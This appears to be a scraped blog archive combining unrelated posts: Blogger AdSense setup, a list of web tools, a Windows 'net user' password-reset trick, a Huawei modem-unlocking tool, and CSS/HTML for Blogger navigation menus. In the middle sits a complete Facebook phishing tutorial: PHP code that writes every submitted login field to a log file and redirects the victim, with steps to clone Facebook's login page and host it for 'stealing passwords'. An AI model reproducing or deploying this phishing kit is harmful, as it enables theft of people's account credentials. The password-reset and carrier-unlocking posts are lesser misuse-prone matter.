How to put Adsense ads on Blogger/Blogspot

If you want to earn money from your site/blog, Google Adsense is the most popular service to monetize your blog or website content. When implemented, Adsense will display targeted Google ads on your blog and they can generate revenue on either a per-click or per-impression basis.
Of course, to display ads on your site, you should first Sign Up to Google Adsense program.


Before adding your ads, keep in mind that Adsense allows only up to 3 ad units, 3 link units and 2 search boxes per page.

In this tutorial i will show you the three ways you can add Adsense ads to your blog.

1. Adsense Gadget

Use this method to add ad unit as a widget, in places outside the blog post area. You can position it by simply dragging it in Page Elements, just like any other widget. To add the Adsense Gadget, go to:

1. Blogger Dashboard >> Design >> Page Elements >> click on the "Add a Gadget" link
2. From the pop-up window, select AdSense Gadget:

3. Configure ad format and colors.
4. Click Save and you're done.

2. Inline Ads

This will display an ad unit at the end of each post. To show ads between posts:

1. Go to Design > Page Elements and click the Edit link in Blog Posts gadget box.

2. Check the "Show Ads Between Posts" box. 

3. Configure ad frequency, ad format, and colors. Live preview is provided beneath the settings.
4. Click Save.

3. Adsense code

The most notable benefits of using this method are:

• You can place ad anywhere in your blog
• You can add the code anywhere in your blog template - in your post content or page.
• To find out which format perform the best, custom channels will help you to track the performance of specific groups of ad units.
• You can choose types other than ad unit i.e. link unit, search box.

To create an ad unit:
1. Go to Google Adsense website.
2. Click on My ads tab, go to Ad units and then press on the "New ad unit" button.

3. Choose your ad type, choose format and colors and assign channels.
4. When you have finished editing, click on the Save and get code >> button and copy the code provided.

To add an ad unit to your blog, you have the following options:

• Paste the code in a HTML/Javascript gadget
• Paste the code in a blog post or page, or
• Paste the code direct in your template. 

This tool automatically converts javascript ad code into the correct format so you can embed it directly into your new xml Blogger template. It’s perfect for converting AdSense, AdBrite, Chitika or any other javascript ad code you may have.

The Most Useful Websites and Web Apps

The Most Useful Websites and Web Apps

1. screenr.com – record movies of your desktop and send them straight to YouTube.
2. ctrlq.org/screenshots – for capturingscreenshots of web pages on mobile and desktops.
3. goo.gl – shorten long URLs and convert URLs into QR codes.
4. unfurlr.come – find the original URL that’s hiding behind a short URL.
5. qClock – find the local time of a city using a Google Map.
6. copypastecharacter.com – copy special characters that aren’t on your keyboard.
7. postpost.com – a better search engine for twitter.
8. lovelycharts.com – create flowcharts, network diagrams, sitemaps, etc.
9. iconfinder.com – the best place to find icons of all sizes.
10. office.com – download templates, clipart and images for your Office documents.
11. followupthen.com – the easiest way to setup email reminders.
12. jotti.org – scan any suspicious file or email attachment for viruses.
13. wolframalpha.com – gets answers directly without searching   – see more wolfram tips.
14. printwhatyoulike.com – print web pages without the clutter.
15. joliprint.com – reformats news articles and blog content as a newspaper.
16. ctrql.org/rss – a search engine for RSS feeds.
17. e.ggtimer.com – a simple online timer for your daily needs.
18. coralcdn.org – if a site is down due to heavy traffic, try accessing it through coral CDN.
19. random.org – pick random numbers, flip coins, and more.
20. pdfescape.com – lets you can quickly edit PDFs in the browser itself.
21. viewer.zoho.com – Preview PDFs and Presentations directly in the browser.
22. tubemogul.com – simultaneously upload videos to YouTube and other video sites.
23. ctrlq.org/dictation – online voice recognition in the browser itself.
24. scr.im – share you email address online without worrying about spam.
25. spypig.com – now get read receipts for your email.
26. sizeasy.com – visualize and compare the size of any product.
27. myfonts.com/WhatTheFont – quickly determine the font name from an image.
28. google.com/webfonts – a good collection of open source fonts.
29. regex.info – find data hidden in your photographs – see more EXIF tools.
30. livestream.com – broadcast events live over the web, including your desktop screen.
31. iwantmyname.com – helps you search domains across all TLDs.
32. homestyler.com – design from scratch or re-model your home in 3d.
33. join.me – share you screen with anyone over the web.
34. onlineocr.net – recognize text from scanned PDFs – see other OCR tools.
35. flightstats.com – Track flight status at airports worldwide.
36. wetransfer.com – for sharing really big files online.
37. hundredzeros.com – the site lets you download free Kindle books.
38. polishmywriting.com – check your writing for spelling or grammatical errors.
39. marker.to – easily highlight the important parts of a web page for sharing.
40. typewith.me – work on the same document with multiple people.
41. whichdateworks.com – planning an event? find a date that works for all.
42. everytimezone.com – a less confusing view of the world time zones.
43. gtmetrix.com – the perfect tool for measuring your site performance online.
44. noteflight.com – print music sheets, write your own music online (review).
45. imo.im – chat with your buddies on Skype, Facebook, Google Talk, etc. from one place.
46. translate.google.com – translate web pages, PDFs and Office documents.
47. kleki.com – create paintings and sketches with a wide variety of brushes.
48. similarsites.com – discover new sites that are similar to what you like already.
49. wordle.net – quick summarize long pieces of text with tag clouds.
50. bubbl.us – create mind-maps, brainstorm ideas in the browser.
51. kuler.adobe.com – get color ideas, also extract colors from photographs.
52. liveshare.com – share your photos in an album instantly.
53. lmgtfy.com – when your friends are too lazy to use Google on their own.
54. midomi.com – when you need to find the name of a song.
55. bing.com/images – automatically find perfectly-sized wallpapers for mobiles.
56. faxzero.com – send an online fax for free – see more fax services.
57. feedmyinbox.com – get RSS feeds as an email newsletter.
58. ge.tt – quickly send a file to someone, they can even preview it before downloading.
59. pipebytes.com – transfer files of any size without uploading to a third-party server.
60. tinychat.com – setup a private chat room in micro-seconds.
61. privnote.com – create text notes that will self-destruct after being read.
62. boxoh.com – track the status of any shipment on Google Maps – alternative.
63. chipin.com – when you need to raise funds online for an event or a cause.
64. downforeveryoneorjustme.com – find if your favorite website is offline or not?
65. ewhois.com – find the other websites of a person with reverse Analytics lookup.
66. whoishostingthis.com – find the web host of any website.
67. google.com/history – found something on Google but can’t remember it now?
68. aviary.com/myna – an online audio editor that lets record, and remix audio clips online.
69. disposablewebpage.com – create a temporary web page that self-destruct.
70. urbandictionary.com – find definitions of slangs and informal words.
71. seatguru.com – consult this site before choosing a seat for your next flight.
72. sxc.hu – download stock images absolutely free.
73. zoom.it – view very high-resolution images in your browser without scrolling.
74. scribblemaps.com – create custom Google Maps easily.
75. alertful.com – quickly setup email reminders for important events.
76. picmonkey.com – Picnik is offline but PicMonkey is an even better image editor.
77. formspring.me – you can ask or answer personal questions here.
78. sumopaint.com – an excellent layer-based online image editor.
79. snopes.com – find if that email offer you received is real or just another scam.
80. typingweb.com – master touch-typing with these practice sessions.
81. mailvu.com – send video emails to anyone using your web cam.
82. timerime.com – create timelines with audio, video and images.
83. stupeflix.com – make a movie out of your images, audio and video clips.
84. safeweb.norton.com – check the trust level of any website.
85. teuxdeux.com – a beautiful to-do app that looks like your paper dairy.
86. deadurl.com – you’ll need this when your bookmarked web pages are deleted.
87. minutes.io – quickly capture effective notes during meetings.
88. youtube.com/leanback – Watch YouTube channels in TV mode.
89. youtube.com/disco – quickly create a video playlist of your favorite artist.
90. talltweets.com – Send tweets longer than 140 characters.
91. pancake.io – create a free and simple website using your Dropbox account.
92. builtwith.com – find the technology stack of any website.
93. woorank.com – research a website from the SEO perspective.
94. mixlr.com – broadcast live audio over the web.
95. radbox.me – bookmark online videos and watch them later .
96. tagmydoc.com – add QR codes to your documents and presentations .
97. notes.io – the easiest way to write short text notes in the browser.
98. ctrlq.org/html-mail – send rich-text mails to anyone, anonymously.
99. fiverr.com – hire people to do little things for $5.
100. otixo.com – easily manage your online files on Dropbox, Google Docs, etc.
101. ifttt.com – create a connection between all your online accounts.

How to hack a administrator password

How to hack a administrator password

Simple way to reset non-Administrator account passwords Here is another simple way through which you can reset the password of any non- Administrator accounts. The only requirement for this is that you need to have Administrator privileges. Here is a step-by-step instruction to accomplish this task

                                                                                                       
1. Open the command prompt (Start->Run->type cmd->Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
 4.Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account.
 That’s it. Now you’ve successfully reset the password for John without knowing his old password. So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason.Simple way to reset non-Administrator account passwords Here is another simple way through which you can reset the password of any non- Administrator accounts. The only requirement for this is that you need to have Administrator privileges. Here is a step-by-step instruction to accomplish this task.

Download Huawei Code Writer

Download Huawei Code Writer( here is a software that write unlock codes to your modem and unlocks ... modems that do not ask for unlock code but are locked or says Incorrect Sim Card.)

1. During Unlocking ProblemsI am Getting “This Modem Is Not Supported” In Dc Unlocker ?1. If you are Getting This Kind Of Error During Unlocking E1731 or other (Latest Version Of E1731 By Bharti Airtel India)In DC Unlocker Then Just Let The Thing As It is and just get unlock code from Dc Unlocker.
2. Then Download Huawei Code Writer from here.
3. Open Huawei Code Writer And Select on “Please Select The COM Port” and you can see on pop-up window Then Click On Detect And select the port From The Window Then Click On Accept.(Unlock Code calculator For Huawei New Algo Modem Airtel E1731)
4.Now Click on Unlock Modem It will Ask To Enter Unlock Code then Enter it and Click On OK.
5.# Done :) Your Problem is Solved your modem is unlocked :)

How to create facebook fake login page for stealing passwords

well, here we go for creating Fake page of Facebook...
Here we will need 3 types of files for facebook:
1. A php file with any name say login.php. This php file places main role to get the passwords of victim
2. index.html which is a fake html page similar to original Page of Facebook.
3. Photos, CSS, js files

Step 1. Creating a login.php file>
Open notepad and paste the following lines there... as save it with name login.php

<?php
header ('Location: https://www.facebook.com/login.php');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

step 2. Create index.html Page:
2.1. first of all open login page of Facebook.com..... then right click there> save as/save page as> then save it....

check the downloaded file.... there will be
one htm file(Welcome to Facebook.htm)
A folder(Welcome to Facebook_files) containing some pics, css files and js files.(this folder contains 3rd type of files that i hv mentioned above.)

2.2. Now open the htm file with notepad(right click> open with> notepad)...

and then press ctrl +F and search for action... and you will find a line as shown in screenshot.
Note:in case of some other sites may be you find more then one action word... but you have to find out the exact type of line as shown in screen shot.... near which you will find a
tag and method="post" something like that.

2.3. Now replace the url written after action with the name of your php file created in step 1.

Now your fake page is ready....
Save it with name index.html

Step 3: Uploading on a Free Hosting Site:

Now you have to upload all the 3 mentioned files on a free hosting account. Here i m explaining file uploading onhttp://www.yourfreehosting.net/.
1. first of all sign up for a free hosting Account.

Note: yourfreehosting.net is now not available for free, you can create account on 
http://www.000webhost.com/525589.html
2. After creating Account, login there, then go to control pannel> File Manager.

3. Now remove the preexisting index.html file.

4. Now click on upload files and then upload there index.html and login.php

5. Now click on New directory to make a new folder there and name it "Welcome to Facebook_files"

6. Now open the directory
"Welcome to Facebook_files"
and then upload all the files(css,js, photos) of folder Welcome to Facebook_files,which was downloaded with facebook page in step 2.

Now your phishing page is ready to hack 

How to add a horizontal navigation bar in blogger

How to add a horizontal navigation bar in blogger

This is the easiest way to add a horizontal navigation bar in your blogger header.

Note: Back up your template's HTML code first.

Step 1. Go to blogger DASHBOARD -> TEMPLATE -> EDIT HTML

a. Then you'll find an instruction which says, "Directly editing HTML may affect....." Press "PROCEED."

b. Tick on "EXPAND WIDGET TEMPLATE."

STEP 2. Press CTRL F then copy and paste the following at the "get prompt" located at the upper right corner of the screen (don't include the bullet mark):

• ]]></b:skin>

Paste the CSS code below before "]]></b:skin>".

 #nav {
      width: 100%;
      float: left;
      margin: 0 0 3em 0;
      padding: 0;
      list-style: none;
      background-color: #f2f2f2;
      border-bottom: 1px solid #ccc; 
      border-top: 1px solid #ccc; }
   #nav li {
      float: left; }
   #nav li a {
      display: block;
      padding: 8px 15px;
      text-decoration: none;
      font-weight: bold;
      color: #069;
      border-right: 1px solid #ccc; }
   #nav li a:hover {
      color: #c00;
      background-color: #fff; }

STEP 3. Press CTRL F again and paste <b:section class='header'  and you'll find the following code:

<b:section class='header' id='header' maxwidgets='1' showaddelement='no'> 
<b:widget id='Header1' locked='true' title='Your Blog (Header)' type='Header'/> 
</b:section> 

Change the value of maxwidgets to 3 or any value more than one, for example: maxwidgets='3' 

Change also the value of showaddelement to 'yes' or: showaddelement='yes'; and the value of locked to 'false' or locked='false'. Thus, your new code should look like this:

<b:section class='header' id='header' maxwidgets='3' showaddelement='yes'> 
<b:widget id='Header1' locked='yes' title='Your Blog (Header)' type='Header'/> 
</b:section> 

Press SAVE TEMPLATE. You're done.

 Go to LAYOUT and look for "Add a Gadget" at the header area.

Then, choose the HTML/JavaScript gadget.

STEP 4. Paste the following code.

    ul id="nav">
      <li><a href="#">Home</a></li>
      <li><a href="#">About</a></li>
      <li><a href="#">Contact</a></li>
      <li><a href="#">Blah blah</a></li>
   </ul>

IMPORTANT NOTE: Replace "#" with your URL. For example:

<li><a href="http://www.bythisword.com">Home</a></li>

Then press Save arrangement.

Horizontal Drop Down Menu in Blogger

Here is a fairly easy tutorial for installing a drop down navigation bar into your Blogger Blog. (Like the dark brown one in my header section)

STEP 1: In Blogger, go to your “Layout” and “Page Elements” section.

• Click on the “Add a Gadget” link just under your header image: (Note: If you are just starting your blog, the “Minima Lefty” template is a good one to start with. It’s simple and you can customize it as you go.)
• From the Gadget’s List, select “HTML/Javascript” option.

STEP 2: Simply copy and paste this ENTIRE code into your widget. Note: Leave the “Title” section of this widget blank.

<style type=”text/css”>
/* style the outer div to give it width */
.menu {
width:1000px;
font-size:14px;
padding-bottom:40px;
}
/* remove all the bullets, borders and padding from the default list styling */
.menu ul {
padding:0;
margin:0;
list-style-type:none;
font: 14px Tahoma, Arial;
}
.menu ul ul {
/* width:124px; */
border:1px solid #fff;
border-width:0px 0px 1px 0px;
}
/* float the list to make it horizontal and a relative positon so that you can control the dropdown menu positon */
.menu li {
float:left;
width:125px;
position:relative;
border-width:0px 0px 1px 0px;
}
/* style the links for the top level */
.menu a, .menu a:visited {
display:block;
font-size:14px;
color: #ffffff;
text-decoration:none;
width:125px;
height:30px;
border:1px solid #fff;
border-width:0px 0px 0px 0;
background-color: #45240e; /*DkBrown*/
padding-left:1px;
line-height:29px;
}
/* a hack so that IE5.5 faulty box model is corrected */
* html .menu a, * html .menu a:visited {
width:125px;
w\idth:125px;
}
/* style the second level background */
.menu ul ul a.drop, .menu ul ul a.drop:visited {
background: #fecebe; /*LIGHT-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
color: #45240e;
}
/* style the second level hover */
.menu ul ul a.drop:hover{
background:#e36c6c; /*DK-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
color:#ffffff;
}
.menu ul ul :hover > a.drop {
background: #fecebe; /*LIGHT-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
color:#45240e; /*DkBrown*/
}
/* style the third level background */
.menu ul ul ul a, .menu ul ul ul a:visited {
background: #fecebe; /*LIGHT-PINK*/
color:#45240e; /*DkBrown*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
}
/* style the third level hover */
.menu ul ul ul a:hover {
background:#e36c6c; /*DK-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
}
.menu ul ul ul :hover > a {
background:#e36c6c; /*DK-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
}
/* hide the sub levels and give them a positon absolute so that they take up no room */
.menu ul ul {
visibility:hidden;
position:absolute;
height:0;
top:31px;
left:0;
width:125px;
}
/* another hack for IE5.5 */
* html .menu ul ul {
top:30px;
t\op:31px;
}
/* position the third level flyout menu */
.menu ul ul ul{
left:126px;
top:0;
width:125px;
}
/* position the third level flyout menu for a left flyout */
.menu ul ul ul.left {
left:-150px;
}
/* style the table so that it takes no part in the layout – required for IE to work */
.menu table {position:absolute; top:0; left:0;}
/* style the second level links */
.menu ul ul a, .menu ul ul a:visited {
background: #fecebe; /*LIGHT-PINK*/
color:#45240e; /*Dk-BROWN*/
height:auto;
line-height:1em;
padding:5px 0px;
width:125px;
border:1px solid #fff;
border-width:0px 0px 1px 0px;
/* yet another hack for IE5.5 */
}
* html .menu ul ul a{
width:124px;
w\idth:124px;
}
/* style the top level hover */
.menu a:hover, .menu ul ul a:hover{
color:#ffffff;
background:#e36c6c; /*DK-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
}
.menu :hover > a, .menu ul ul :hover > a {
color:#ffffff;
background:#e36c6c; /*DK-PINK*/
border:1px solid #fff;
border-width:0px 0px 1px 0px;
}
/* make the second level visible when hover on first level list OR link */
.menu ul :hover ul {
visibility:visible;
}
/* keep the third level hidden when you hover on first level list OR link */
.menu ul :hover ul ul{
visibility:hidden;
}
/* keep the fourth level hidden when you hover on second level list OR link */
.menu ul :hover ul :hover ul ul{
visibility:hidden;
}
/* keep the fourth level hidden when you hover on second level list OR link */
.menu ul :hover ul :hover ul :hover ul ul{
visibility:hidden;
}
/* make the third level visible when you hover over second level list OR link */
.menu ul :hover ul :hover ul{
visibility:visible;
}
/* make the fourth level visible when you hover over third level list OR link */
.menu ul :hover ul :hover ul :hover ul {
visibility:visible;
}
/* make the fourth level visible when you hover over third level list OR link */
.menu ul :hover ul :hover ul :hover ul :hover ul {
visibility:visible;
}
</style>
<div>
<ul>
<li><a style=”color: #ffffff;” href=”http://YOUR URL HERE.com”>Tab 1 Title Here</a>
<ul>
<li><a href=”http://YOUR URL HERE.com”>Sub Tab 1.A</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 1.B</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 1.C</a></li>
</ul>
</li>

<li><a style=”color: #ffffff;” href=”http://YOUR URL HERE.com”>Tab 2 Title Here</a>
<ul>
<li><a href=”http://YOUR URL HERE.com”>Sub Tab 2.A</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 2.B</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 2.C</a></li>
</ul>
</li>

<li><a style=”color: #ffffff;” href=”http://YOUR URL HERE.com”>Tab 3 Title Here</a>
<ul>
<li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.A</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.B</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.C</a></li>
</ul>
</li>
</ul>
</div>

STEP 3: Customize your main tabs by changing the Tab Titles to whatever you want. Include a URL for each one if you want it to be ‘clickable’. If not, you can just put a # sign where it sayshttp://URL HERE.

• You can add or delete as many of the MAIN tabs as you need, just make sure to copy the entire code for the main tab for each additional tab you want:

<li><a href=”http://YOUR URL HERE.com”>Tab 3 Title Here</a>
<ul><li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.A</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.B</a></li>

<li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.C</a></li>
</ul>

</li>

• You can adjust the length of your buttons by adjusting padding as seen in red below. The padding pixels are read as follows: top, right, bottom, left.

#navbar li a {
display: block;
padding: 4px 9px 4px 9px;
background-color: #43291a; /*TAN936f47*/
text-decoration: none;
border-right: 1px solid white;
color: #EAFFED; }

• You can also change the margins to move the navbar as seen in red below. The last number in the margin is the LEFT margin. The margin pixels are read as follows: top, right, bottom, left. A negative number will move your item to the left, a positive number will move it to the right:

#navbar {
background-position: center;
margin:5px 5px 5px 300px;
padding: 0;
width:1000px; }

STEP 4: Customize your sub tabs by changing the Green Titlesto whatever you want. Include the URL for each one as well if you want it to be ‘clickable’.

• You can add or delete as many tabs as you need, just make sure to copy the entire code for the Sub-tabs section:

  <li><a href=”http://YOUR URL HERE.com”>Sub Tab 3.A</a></li>

STEP 5: Customize the colors of your tabs to match your site. Here are some online color sites to help you out! I also commented my colors to help guide you.

BUTTON: To Change the background color of your buttons find the ‘background-color’ section of the code

FONT: To Change the font color find the ‘color’ section both are highlighted in the code below. You can change the colors of each section if you like, or use the same colors for each section. Just mess around with it and have fun! If you don’t know HTML well, you may have to experiment with changing colors until you get the right one. The code below is just an example of one of the sections:

#navbar li a {
display: block;
padding: 4px 9px;
background-color: #43291a; /*Dk Brown Tab Background*/
text-decoration: none;
border-right: 1px solid white;
color: #EAFFED; }

• Color Schemer with color codes to help you out!
• Online Web Color Chart

STEP 6: Add your URLs : To get the url code for your tabs, visit the page you want, then simply copy and paste the URL from the Address Bar in your browser. You can also ‘search’ your blog and use that url as well to include several posts. It will look something like this:

http://www.confessionsofahomeschooler.com/blog/category/homeschool/lapbooks

STEP 7: Give yourself a big bloggy High Five for being AWESOME!